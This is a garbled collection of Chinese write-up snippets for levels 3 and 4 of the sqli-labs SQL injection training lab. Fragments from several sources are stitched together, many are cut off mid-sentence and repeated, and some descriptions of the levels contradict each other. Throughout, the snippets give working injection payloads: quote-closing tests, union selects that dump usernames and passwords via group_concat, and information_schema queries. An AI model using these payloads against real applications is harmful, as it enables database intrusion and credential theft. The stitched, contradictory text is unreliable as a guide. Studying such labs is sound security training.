网址 https://sqli.wmcoder.site/sqli-labs/Less-3/ 解法 与Less-2类似,直接看这篇文章:【less-2】sqli-labs靶场第二关 不同的是,根据错误回显知道 id=1') 采用如下语句获取所有用户名和密码 https://sqli.wmcoder.site/sqli-labs/Less-3/?
关卡: Less-3、Less-4 正文: Less-3: ?
id=1 and 1=2 and 1=1 回显正常 , and 1=2 均回显异常,为数字型注入 less-3(字符型注入) 拼接方式:id=(’$id’) id=1’) 字符型方法判断 https://sqli.wmcoder.site/sqli-labs/Less-3/? id=1' and '1'='1 https://sqli.wmcoder.site/sqli-labs/Less-3/?
http://localhost/sqlilabs2/Less-3/index.php? id=1') and 1=2 --+ # 报错http://localhost/sqlilabs2/Less-3/index.php? id=1') and 1=1 --+ # 正常 直接上payload,将数据库脱出 http://localhost/sqlilabs2/Less-3/index.php?
2 union select 1,GROUP_CONCAT(username,password SEPARATOR ':'),3 FROM security.users-- - //获取字段 Less -3 /sqli-labs/Less-3/? ; $row = mysql_fetch_array($result); 我们可以看到id=这里用的是(’$id’),所以我们需要先闭合后在进行sql语句的插入 注入语句: /sqli-labs/Less
id=-1 union select 1,database(),3 Less-3 http://127.0.0.1/sqli/Less-3/? http://127.0.0.1/sqli/Less-3/?
group_concat(password) from users --+ 第三关 基于错误的GET单引号变形注入 存在注入点判断 加上单引号报错,发现存在) http://localhost/sqlilabs2/Less id=1') and 1=2 --+ # 报错 http://localhost/sqlilabs2/Less-3/index.php? id=1') and 1=1 --+ # 正常 直接上payload,将数据库脱出 http://localhost/sqlilabs2/Less-3/index.php? http://127.0.0.1/sqlilabs2/Less-3/index.php?
Less-3: SQL 注入,但对单引号和双引号进行了转义。Less-4: SQL 注入,但对单引号、双引号和反斜杠进行了转义。
database()%20--+ 五、第三关 判断为')注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为')即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less
http://127.0.0.1/sqlilabs2/Less-3/index.php?
$id LIMIT 0,1"; 思路和[Less-1](#Less-1(GET-Error based-Single quotes-String))是相同的,payload把用于闭合的单引号删去即可 Less
information_schema.tables where table_schema=database()))) --+ Less2的具体攻击方法和Less1一样,不同的是Less2是数字型注入,不需要单引号闭合 Less
GET - Error based - Intiger based (基于错误的GET整型注入) 这里我们没有加入单引号 及为整形 源码这里和上面第一题,有明显不同 其余注入和第一题完全一致 Less with twist string (基于错误的GET单引号变形字符型注入) 查看源码我们发现 如果我们正常注入时,总归括号不能合并,那么我们 http://127.0.0.1/sqli-labs/Less
id=-1 union select 1, 2, flag from flag%23 Less-3 Error based - Single quotes with twist ?
可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如 select * from users where id=1 所以我们也可以跟上面一样,payloads: -1 or 1=1%23 Less